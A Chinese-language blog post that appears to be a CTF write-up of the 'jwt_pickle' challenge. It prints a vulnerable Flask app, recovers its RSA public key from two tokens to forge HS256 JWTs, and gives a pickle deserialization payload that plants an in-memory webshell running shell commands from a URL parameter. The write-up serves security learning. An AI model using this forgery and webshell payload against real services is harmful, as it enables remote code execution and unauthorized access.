JWT学习

OneZ3r0 Lv3

前言

学习jwt

前置知识

请看 [参考资料]:翻译:算法混淆攻击
原理啥的讲得很清楚了,不再赘述

一些题目

[极客大挑战2024] jwt_pickle 算法混淆攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import base64
import hashlib
import random
import string
from flask import Flask,request,render_template,redirect
import jwt
import pickle

app = Flask(__name__,static_folder="static",template_folder="templates")

privateKey=open("./private.pem","rb").read()
publicKey=open("./public.pem","rb").read()
characters = string.ascii_letters + string.digits + string.punctuation
adminPassword = ''.join(random.choice(characters) for i in range(18))
user_list={"admin":adminPassword}

@app.route("/register",methods=["GET","POST"])
def register():
if request.method=="GET":
return render_template("register.html")
elif request.method=="POST":
username=request.form.get("username")
password=request.form.get("password")
if (username==None)|(password==None)|(username in user_list):
return "error"

user_list[username]=password
return "OK"


@app.route("/login",methods=["GET","POST"])
def login():
if request.method=="GET":
return render_template("login.html")
elif request.method=="POST":
username = request.form.get("username")
password = request.form.get("password")
if (username == None) | (password == None):
return "error"

if username not in user_list:
return "please register first"

if user_list[username] !=password:
return "your password is not right"

ss={"username":username,"password":hashlib.md5(password.encode()).hexdigest(),"is_admin":False}
if username=="admin":
ss["is_admin"]=True
ss.update(introduction=base64.b64encode(pickle.dumps("1ou_Kn0w_80w_to_b3c0m3_4dm1n?")).decode())

token=jwt.encode(ss,privateKey,algorithm='RS256')

return "OK",200,{"Set-Cookie":"Token="+token.decode()}


@app.route("/admin",methods=["GET"])
def admin():
token=request.headers.get("Cookie")[6:]
print(token)
if token ==None:
redirect("login")
try:
real= jwt.decode(token, publicKey, algorithms=['HS256', 'RS256']) # 使用两种算法,产生算法混淆攻击,通过两个jwt来获取公钥
except Exception as e:
print(e)
return "error"
username = real["username"]
password = real["password"]
is_admin = real["is_admin"]
if password != hashlib.md5(user_list[username].encode()).hexdigest(): # 账号密码在字典里面一一对应,这里是防止用户自己新建admin账号
return "Hacker!" # 如果我们用自己的账号,且只修改is_admin,自然就满足条件,自己的账号和密码是一一对应的

if is_admin: # 如果是管理员
serial_S = base64.b64decode(real["introduction"])
introduction=pickle.loads(serial_S) # 那么可以执行反序列化漏洞
return f"Welcome!!!,{username},introduction: {introduction}"
else:
return f"{username},you don't have enough permission in here"

@app.route("/",methods=["GET"])
def jump():
return redirect("login")

if __name__ == "__main__":
app.run(debug=False,host="0.0.0.0",port=80)

随意注册两个账号,拿到两个jwt,生成公钥

1
2
3
4
5
6
7
8
onez3r0@FIREBAT16air:~$ docker run --rm -it portswigger/sig2n eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjIiLCJwYXNzd29yZCI6ImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwiaXNfYWRtaW4iOmZhbHNlfQ.U0JlIl-O46VCn29JBajFDtoWqNgYrjGuM3vrFuiqXw3S-ZPlFnPMVmmexOB4LSh6hUYLYpQrSAh9FF2rcmUp6utFwQ1mhtO7y3fTXy18Z3bXl7CwtuVksiC9NpiqSv_n3jUV5cbBcki-XVBbMRucw_gk9DMjZaLZKG7WC4s3fyf0eyXIl35LJfdSJG86dS2yhx1WcZIto3Jt-JYToLOdC8KOyOAYli4zohV6NYtBPcfShOmKLDCzlR3mzFPwTUCH9PQt90YDBxjGP_M7aHQh9RM8yVTUCeEYnCnsiTClQg-1dIzBJi_21G5U5HZaflj9cksgNAemSUnNR_2PT68Hng eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjEiLCJwYXNzd29yZCI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIiwiaXNfYWRtaW4iOmZhbHNlfQ.rKofoYN-vlRcijS0FIHwfrcB8hSq0ru7Tym8QHENeT1SpObFmyAOdF3PyE6qofnEXJAx6y1LSqezj61bb-bOSEjl0Rjx2D5JlOtDFeiq7GKfbXLgft6Pn90PGPnSesG55NpbR_fTum0z1mj0E_OYVfVP3MQjrVOe_PbdmxTiBptVhmk4b_ku2bL2sT2RmhMnDWYdmKs141mSQUj9x7_8EvDNcRA3tHHuiN1CEJL8UbjCQ_9RMhK2IaKLWmsFKRbXLFmiKpcIBgNEfzEuO6MLP0BwB56Uvo4Qcmw4FinxHYUsLiLNBwNKSPNuMhuVsu6p4e2KrRrWxRNU0MpFjaBovA
Running command: python3 jwt_forgery.py <token1> <token2>

Found n with multiplier 1:
Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEyaXlicVBJYW9rMytOb09ySWZRdwpPK1BWTnpnRzd5cWpKZmc4ZVdjRnJreXV6b21pM3lobnNvOHdTTWtHUWdEeGp0eTZ5WHZQL3hPYytUZGI4NzNFCkxjOS9jdElINkk3SmVEY3hzR2o3SWp5aE04RXFiSG55dCtpUEd3T2ZXdE1ablBKMnA1V29JUlJZR3NaanA4NVIKYk1yTzVQQXBQcGl3dEpFenlYTHlqeDl1V0QwUWdRSGsyTFgvMDlveEs4Qkx6a0lhTng0NFlEUDhyTXFENHpKVwovSWxGNVBmOCtoWmQ1bXZNNGw0R0FqWU5mRGJieWFnajl4cFJOOTI0ejVRWkNDVnpDclZGWlpFVWlFWnhpbkorCmlYOWV6WmtCUTk4a090QzdsOXhzazZjdExMYnVuMUZEeEVmOTByVlBOWVB2Nksrb1VVbm5KemZZM1d0VFpIbWUKZ1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICIyIiwgInBhc3N3b3JkIjogImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwgImlzX2FkbWluIjogZmFsc2UsICJleHAiOiAxNzQyNDc2MjUyfQ.nmRloftAcm-gjd5NlmXkWisPxjfldyUwSlfSEXUxQ8k
Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTJpeWJxUElhb2szK05vT3JJZlF3TytQVk56Z0c3eXFqSmZnOGVXY0Zya3l1em9taTN5aG4Kc284d1NNa0dRZ0R4anR5NnlYdlAveE9jK1RkYjg3M0VMYzkvY3RJSDZJN0plRGN4c0dqN0lqeWhNOEVxYkhueQp0K2lQR3dPZld0TVpuUEoycDVXb0lSUllHc1pqcDg1UmJNck81UEFwUHBpd3RKRXp5WEx5ang5dVdEMFFnUUhrCjJMWC8wOW94SzhCTHprSWFOeDQ0WURQOHJNcUQ0ekpXL0lsRjVQZjgraFpkNW12TTRsNEdBallOZkRiYnlhZ2oKOXhwUk45MjR6NVFaQ0NWekNyVkZaWkVVaUVaeGluSitpWDllelprQlE5OGtPdEM3bDl4c2s2Y3RMTGJ1bjFGRAp4RWY5MHJWUE5ZUHY2SytvVVVubkp6ZlkzV3RUWkhtZWdRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
Tampered JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICIyIiwgInBhc3N3b3JkIjogImM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjIiwgImlzX2FkbWluIjogZmFsc2UsICJleHAiOiAxNzQyNDc2MjUyfQ.n-LU0OKhxG7NiGodCl6TmuVnqMj9tIZJ2u8b6uy4eeg

然后把jwt替换我们伪造的jwt(Tampered JWT)。因为原来的jwt的alg是RS256,脚本生成的是HS256的,这样我们才能只凭借公钥(作为对称密钥)修改jwt!

用burpsuite的插件jwt editor创建密钥并修改(参考资料里面有详细使用方法的链接)
主要就是修改is_admin=true和增加一个introduction,里面写我们的payload,打内存马

tips

这里x509 key和pkcs1 key都要去试试作为对称密钥能不能成功,因为文章里讲了

“这个对令牌进行签名的公钥,必须与服务器上存储的公钥完全相同。需要包括相同的格式(如 X.509 PEM)并保留任何非打印字符(如换行符)。在实践中,你可能需要多次尝试不同的格式,才能使此攻击生效。”

我这里尝试pkcs1 key是可行的,而x509 key不行

1
2
3
4
5
6
7
8
9
10
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('onez3r0')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

image-20250320212847195
image-20250320212847195

然后访问,即可

1
https://.../aaa?onez3r0=cat /flag
  • 标题: JWT学习
  • 作者: OneZ3r0
  • 创建于 : 2025-03-19 16:55:31
  • 更新于 : 2025-07-29 18:03:58
  • 链接: https://blog.onez3r0.top/2025/03/19/jwt-learning/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。